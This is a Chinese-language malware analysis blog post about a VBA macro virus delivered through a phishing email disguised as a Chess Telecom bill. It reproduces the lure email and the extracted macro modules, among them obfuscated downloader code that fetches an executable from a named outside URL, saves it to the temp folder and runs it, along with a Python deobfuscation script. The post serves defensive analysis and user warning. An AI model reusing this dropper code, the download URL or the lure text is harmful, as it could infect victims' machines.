gtxyzz

技术分析:一款流行的VBA宏病毒

gtxyzz 安全防护 2022-12-21 294浏览 0

1.通过邮件传播的宏病毒

近期流行的一个宏病毒通过邮件进行传播,捕捉到的一个样本,其邮件头如下:

技术分析:一款流行的VBA宏病毒

邮件的内容是这样子的(为节省篇幅,省略号处省略部分内容):

Yourbillsummary
Accountnumber:24583
InvoiceNumber:2398485
Billdate:July201***mount:£17.50
HowcanIviewmybills?
YourChessbillisreadyandwaitingforyouonline.Tocheckoutyourdeta=ledbill,previousbillsandanychargesyou'veincurredsinceyourlastb=ll,justsignintoMyAccountwww.chesstelecom.com/myaccountForgottenyoursignindetails?

Ifyou'veforgottenyoursignindetails,noproblem,youcanresettheseb=choosinghttp://www.chesstelecom.com/lost_password.

Makingpaymentsiseasy!

Ifyouwanttomakeacreditordebitcardpaymentyoucandoonlinebycho=singhttp://www.chesstelecom.com/online_payment
Youdon'tneedtodoanythingifyoupaybydirectdebit,wewillcollecty=urpaymentautomaticallyonorafter30thJune.Ifyoupaybycheque,deta=lsofhowtopayusareavailableontheinvoice.
SwitchtoDirectDebittodayandyou'llsaveatleast£60.00ayear,s=mplycallourdedicatedteamon08447706060.
Anythingelseyou'dliketoknow?

......

Thise-mailhasbeensentfromaMailboxbelongingtoChessTelecom,registeredofficeBridgfordHouse,HeyesLane,AlderleyEdge,Cheshire,SK9=7JP.
RegisteredinEngland,number2797895.Itscontentsareconfidentialtothe=20intendedrecipient.
Ifyoureceiveinerror,pleasenotifyChessTelecomon
+44(0)8000198900immediatelyquotingthenameofthesender,the
+email
addresstowhichithasbeensentandthendeleteit;youmaynotrelyoni=scontentsnorcopy/discloseittoanyone.
Opinions,conclusionsandstatements
ofintentinthisemailarethoseofthesenderandwillnotbindChessTel=comunlessconfirmedbyanauthorisedrepresentativeindependentlyofthismess=ge.
Wedonotacceptresponsibilityforviruses;youmustscanforthese.
Please
notethatemailssenttoandfromChessTelecomareroutinelymonitoredfor=20recordkeeping,qualitycontrolandtrainingpurposes,toensureregulatory=20complianceandtopreventvirusesandunauthoriseduseofourcomputersystems.
Thankyouforyourco-operation.

Quotationsaresubjecttotermsandconditions,excludeVATandaresubjecttositesurvey.

E&OE

上述邮件正文:描述内容看起来相当的可靠,里面的电话号码都是真实的,并且给出了具体的公司名称地址,而且这个公司还真是具体存在的,现在还不知道这个公司是否知道自己被人冒名干坏事儿了(有点绕口,但不是重点…),之所以这么逼真,只是恶意邮件发送者希望以此来降低受害者的防备意识。

2.提取宏代码

我们主要分析的邮件的附件,通过Outlook的保存功能可以将邮件中的附件2015-07-Bill.docm保存出来,我们分析需要用到一个工具OfficeMalScanner,可以到这里下载。

提取宏代码的步骤如下:

2.1 解压

OfficeMalScanner.exe 2015-07-Bill.docm inflate

解压后将会默认保存到C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\DecompressedMsOfficeDocument目录下面(WinXP SP3环境),解压后的目录大致如下:

│[Content_Types].xml
│
├─docProps
│app.xml
│core.xml
│
├─word
││document.xml
││fontTable.xml
││settings.xml
││styles.xml
││vbaData.xml
││vbaProject.bin
││webSettings.xml
││
│├─theme
││theme1.xml
││
│└─_rels
│document.xml.rels
│vbaProject.bin.rels
│
└─_rels

上面的文档目录结构中可以发现在word目录下含有一个vbaProject.bin的文件,这就是宏文件代码所在的地方,需要注意的是vbaProject名字是可以任意取的,并不一定就是vbaProject(为默认的宏文件名字)。接下来从vbaProject.bin文件中提取宏代码。

2.2 提取

OfficeMalScanner.exe vbaProject.bin info

默认会在vbaProject.bin同目录下生成一个文件夹VBAPROJECT.BIN-Macros,里面存放有vba宏代码的各个模块。本案例中所提取到的各个文件如下:

Module1
Module2
Module35
Module4
ThisDocument

上面的文件都是vb代码,只不过去掉了后缀而已。接着的工作就是分析vb代码,看一下具体做了什么。#p#

3.代码分析

为了便于说明,并没有按照模块的顺序来说明。

3.1 Module2代码分析

Module2的代码如下:

1AttributeVB_Name="Module2"
2
3Functioninit()
4
5Setthisfrm=Forms("main")
6
7frmWidth=thisfrm.InsideWidth
8frmHeight=thisfrm.InsideHeight
9
10EndFunction
11PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString)
12L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"")
13SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM)
14EndFunction
15PrivateSubbutton_physical_inventory_Click()
16OnErrorGoToErr_button_physical_inventory_Click
17
18strSQLWhere=Me.combo_department_name.Value
19stDocName="physical_inventory"
20DoCmd.OpenReportstDocName,acPreview
21
22Exit_button_physical_inventory_Click:
23ExitSub
24
25Err_button_physical_inventory_Click:
26MsgBoxErr.Description
27ResumeExit_button_physical_inventory_Click
28
29EndSub

主要看[11-14]行代码,如下:

PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString)
L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"")
SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM)
EndFunction

函数中的主要语句Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), ""),其中的Chr(60),chr(61),Chr(59)分别对应于<,=,;,这些就是被替换的字符,替换的字符是""(NULL,也就是删除了原有字符)。

因此本模块的主要功能,是提供一个解密函数lLJrFk6pKsSYJ(string),将string中的"<,=,;"删除得到真正的字符串。

3.2 模块Module1模块分析

Module1的代码如下:

1AttributeVB_Name="Module1"
2
3PrivateSubForm_Load()
4Me.RecordSource=strSQLInventory
5
6IfMe.boxes>0OrMe.pieces>0Then
7Me.total=(strInventoryCount*Me.boxes)+Me.pieces
8Else
9Me.total=Me.pieces
10EndIf
11
12EndSub
13
14PrivateSubboxes_LostFocus()
15IfMe.boxes>0Then
16Me.total=strInventoryCount*Me.boxes
17EndIf
18EndSub
19
20PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString)
21DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m")
22
23WithNLobhieCn4Xt
24.Type=1
25.Open
26.writeyXhBaz0XR
27EndWith
28NLobhieCn4Xt.savetofilec7e410X3Qq,2
29EndFunction
30PrivateSubpieces_LostFocus()
31IfMe.boxes>0OrMe.pieces>0Then
32Me.total=(strInventoryCount*Me.boxes)+Me.pieces
33Else
34Me.total=Me.pieces
35EndIf
36EndSub
37
38PrivateSubbtn_save_Click()
39DoCmd.Save
40EndSub

主要看[20-29]代码段,如下:

PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString)
DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m")

WithNLobhieCn4Xt
.Type=1
.Open
.writeyXhBaz0XR
EndWith
NLobhieCn4Xt.savetofilec7e410X3Qq,2
EndFunction

主要提供一个函数FlvXHsDrWT3aY(yXhBaz0XR=字节数组,c7e410X3Qq=文件名),其语句为:

lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m")

可以看到这里采用了Module2中的解密函数lLJrFk6pKsSYJ,对加密的字符串进行解密后使用。我们已经知道了lLJrFk6pKsSYJ函数的作用,因此手工解密后得到:

A<do;db=.St=r<ea;m

删除其中的"空格 ; < =",得到真正的命令:Adodb.Stream。进一步分析可以得到该函数的作用为:

采用adodb.stream流,将字节数组写入指定文件中。

稍后我将会提供一个Python脚本对这些命令进行解密,还原出宏代码的真正命令。#p#

3.3 Module4模块分析

1AttributeVB_Name="Module4"
2
3PublicctlWidthAsInteger
4PublicctlHeightAsInteger
5PublicaDPbd2byZbAsString
6PublicstrSQLBaseAsString'querybase
7PublicobjSearchFormAsString'requireformname
8PublicobjInputCodeAsString'textfieldforproductcodeentry
9PublicobjInputNameAsString'textfieldforproductnameentry
10PublicsearchCodeAsString
11PublicsearchNameAsString
12PubliccolS1AsString'columntosearch
13PubliccolS2AsString'columntosearch
14
15Functionsearch_records()
16
17'checkformcontrolsiftheyhaveuserinput
18IfNotIsNull(Forms(objSearchForm).Controls(objInputCode))Then
19searchCode=Forms(objSearchForm).Controls(objInputCode)
20Else
21searchCode=""
22EndIf
23
24IfNotIsNull(Forms(objSearchForm).Controls(objInputName))Then
25searchName=Forms(objSearchForm).Controls(objInputName)
26Else
27searchName=""
28EndIf
29
30'mainsearchlogic
31If(searchCode=""AndsearchName="")Or(IsNull(searchCode)AndIsNull(searchName))Then
32strSQLSearch=strSQLBase
33ElseIf(NotIsNull(searchCode)=True)And(NotIsNull(searchName)=True)Then
34strSQLSearch=strSQLBase&"WHERE"&colS1&"LIKE'"&searchCode&"*'AND"&colS2&"LIKE'*"&searchName&"*'"
35ElseIfNotIsNull(searchCode)Then
36strSQLSearch=strSQLBase&"WHERE"&colS1&"LIKE'"&searchCode&"*'"
37ElseIfNotIsNull(searchName)Then
38strSQLSearch=strSQLBase&"WHERE"&colS2&"LIKE'*"&searchName&"*'"
39Else
40MsgBox"Pleaseprovidedetailstosearch"
41ExitFunction
42EndIf
43
44Forms(objSearchForm).RecordSource=strSQLSearch
45
46EndFunction
47Functioncontrol_set_left(controlNameAsString)
48
49thisfrm.Controls(controlName).Left=720
50
51EndFunction
52
53SubLWS8UPvw1QGKq()
54
'下载地址:Nrh1INh1S5hGed="http://laboaudio.com/4tf33w/w4t453.exe".
55Nrh1INh1S5hGed=Chr(104)&Chr(116)&Chr(61)&Chr(116)&Chr(112)&Chr(58)&Chr(47)&Chr(59)&Chr(47)&Chr(108)&Chr(97)&Chr(98)&Chr(111)&"a"&Chr(60)&Chr(117)&"d"&Chr(105)&Chr(111)&Chr(46)&Chr(61)&Chr(99)&Chr(111)&Chr(109)&Chr(47)&Chr(52)&Chr(116)&Chr(102)&Chr(51)&Chr(51)&Chr(119)&Chr(47)&Chr(60)&Chr(119)&Chr(52)&Chr(116)&Chr(52)&Chr(53)&Chr(51)&Chr(46)&Chr(59)&"e"&Chr(61)&Chr(120)&Chr(101)
'下载方式:LhZitls7wPn=Microsoft.XMLHTTP
56SetLhZitls7wPn=lLJrFk6pKsSYJ("M"&"i"&Chr(60)&Chr(99)&Chr(114)&Chr(111)&Chr(61)&"s"&Chr(111)&"f"&Chr(116)&";"&Chr(46)&"X"&Chr(77)&Chr(60)&"L"&Chr(59)&Chr(72)&"T"&Chr(61)&Chr(84)&"P")
57
58Nrh1INh1S5hGed=Replace(Replace(Replace(Nrh1INh1S5hGed,Chr(60),""),Chr(61),""),Chr(59),"")
'使用CallByName进行下载:CallByNameMicrosoft.XMLHTTPOpenhttp://laboaudio.com/4tf33w/w4t453.exe
59CallByNameLhZitls7wPn,Chr(79)&Chr(112)&Chr(101)&Chr(110),VbMethod,Chr(71)&Chr(69)&Chr(84),_
60Nrh1INh1S5hGed_
61,False
62
'vu2Wh85645xcP0=WScript.Shell
63Setvu2Wh85645xcP0=lLJrFk6pKsSYJ(Chr(87)&"<"&Chr(83)&"c"&Chr(61)&Chr(114)&"i"&Chr(112)&"t"&Chr(59)&Chr(46)&Chr(83)&"="&Chr(104)&"e"&"<"&"l"&Chr(108))
64
'获取查询环境变量的句柄:GhbwRqU9OkbF=CallByName(WScript,Environmentrocess)
65SetGhbwRqU9OkbF=CallByName(vu2Wh85645xcP0,Chr(69)&Chr(110)&"v"&Chr(105)&Chr(114)&Chr(111)&"n"&"m"&Chr(101)&Chr(110)&Chr(116),VbGet,Chr(80)&"r"&"o"&Chr(99)&"e"&Chr(115)&"s")
66
'取得临时目录的路径:GhbwRqU9OkbF(TEMP)
67SD3q5HdXxoiA=GhbwRqU9OkbF(Chr(84)&Chr(69)&Chr(77)&Chr(80))
68
'下载的恶意程序存放路径:aDPbd2byZb=%TEMP%\fghgkbb.exe
69aDPbd2byZb=SD3q5HdXxoiA&"\"&Chr(102)&Chr(103)&Chr(104)&Chr(103)&Chr(107)&Chr(98)&Chr(98)&Chr(46)&"e"&"x"&Chr(101)
70DimbvGEpxCVsZ()AsByte
71
'发送请求:CallByNameMicrosoft.XMLHTTPsendVbMethod
72CallByNameLhZitls7wPn,Chr(83)&Chr(101)&Chr(110)&Chr(100),VbMethod
'获取响应体:CallByNameMicrosoft.XMLHTTPresponseBodyVbGet
73bvGEpxCVsZ=CallByName(LhZitls7wPn,"r"&"e"&Chr(115)&Chr(112)&Chr(111)&Chr(110)&Chr(115)&Chr(101)&Chr(66)&Chr(111)&Chr(100)&"y",VbGet)
'使用adodb.stream流,将bvGEpxCVsZ字节流写入到文件aDPbd2byZb中
'将字节数组bvGEpxCVsZ写入文件aDPbd2byZb'
'这里涉及到了模块Module1中的函数FlvXHsDrWT3aY(字节数组,文件名)
74FlvXHsDrWT3aYbvGEpxCVsZ,aDPbd2byZb
75OnErrorGoToOhXhZLRKh
76a=84/0
77OnErrorGoTo0
78
79xrIvr6mOXvFG:
80ExitSub
81OhXhZLRKh:
82ENMD3t8EY4A("UfBPGay4VPJi")
83ResumexrIvr6mOXvFG
84EndSub
85Functioncontrol_set_right(controlNameAsString)
86
87ctlWidth=thisfrm.Controls(controlName).Width
88thisfrm.Controls(controlName).Left=frmWidth-ctlWidth-720
89
90EndFunction
91
92Functioncontrol_set_center(controlNameAsString)
93
94ctlWidth=thisfrm.Controls(controlName).Width
95thisfrm.Controls(controlName).Left=(frmWidth/2)-(ctlWidth/2)
96
97
98EndFunction

主要看[53-90]行,分析函数LWS8UPvw1QGKq的作用,为了了解这个函数到底干了什么,我们需要对其解密,上面的两个模块由于函数较短,可以进行手工解密,然而由于这个模块中要解密的太多,

手工解密显然是一种繁琐效率低下的方式,故给出如下Python代码(Python3):

importsys
importio
importre
sys.stdout=io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')
defdecryptstr(s):
cmd=''
cmdlst=s.strip().split('&')
pat=re.compile(r"Chr\([0-9]*\)")
foritemincmdlst:
if'Chr'initem:
beg,end=item.find('('),item.find(')')
numstr=item[beg+1:end]
cmd+=chr(int(numstr))
else:
cmd+=item.replace('"','')
cmd=cmd.replace('','')
cmd=cmd.replace('=','')
cmd=cmd.replace(';','')
cmd=cmd.replace('<','')
print(cmd)

ss=input("InputString:")
whilelen(ss)!=0:
print(decryptstr(ss))
ss=input("InputString:")

代码比较少也比较简单,就没有写注释了。用法看下图就可以了:

技术分析:一款流行的VBA宏病毒;

Input String:后面粘贴上要解密的字符串,然后回车就可以得到解密后的字符串。

代码中也加入了注释,理解这块代码应该不难。可以知道该模块从http://laboaudio.com/4tf33w/w4t453.exe下载得到恶意程序w4t453.exe,以fghgkbb.exe文件名保存到临时目录。

3.4 ThisDocument模块分析

该模块主要代码如下(不像上面都给出了完整代码,而是仅仅给出了核心代码,如果希望查看完整代码的,可以到文末下载附件):

PublicFunctionENMD3t8EY4A(Ka0YAlL82qAsString)
'Shell.Application:创建了一个shell对象
SetCYgAH0pzCPj0eA=lLJrFk6pKsSYJ(Chr(83)&Chr(104)&"="&Chr(101)&Chr(108)&Chr(59)&Chr(108)&Chr(60)&Chr(46)&Chr(65)&Chr(112)&Chr(59)&Chr(112)&Chr(108)&"i"&Chr(60)&"c"&"a"&Chr(116)&Chr(61)&Chr(105)&Chr(111)&Chr(110))
WithCYgAH0pzCPj0eA
'open(C:\DOCUME~1\USERNAME\LOCALS~1\Temp\fghgkbb.exe):启动恶意程序
.Open(aDPbd2byZb)
EndWith
EndFunction

也就是启动下载的恶意程序。

另外,还有一个Module35模块,我没有进行说明,因为Module35基本上没有提供有用的信息,可以忽略,并不影响我们分析该宏的功能。

4.结论

至此,我们可以知道,该宏代码通过邮件进行传播,当用户使用word打开邮件中的附件,启用宏代码的时候,恶意代码将会首先到http://laboaudio.com/4tf33w/下载w4t453.exe到受害者的临时目录,保存的名字为fghgkbb.exe,然后启动该恶意程序。这个时候用户就中病毒了。

文末,还是提醒一下大家,对于陌生邮件,一定要慎重的打开,很多人对于邮件,什么都没有想,就直接打开邮件了。在本案例中是通过附件word中的宏代码进行感染,但是有的恶意程序直接在你打开邮件的时候就感染上病毒了。

另外由于Office安全机制的提升,在Word2007版本以上,打开一个有宏文件的文档时,会提示是否启用,这个时候不要随意选择启用(可能这看起来是废话,但是很多人下意识就去点击了启用)。

如果你希望自己亲自分析一下,你可以到这里下载本案例中的邮件。解压密码为:freebuf

希望本文对信息安全行业的人员有所帮助。

继续浏览有关 安全 的文章
发表评论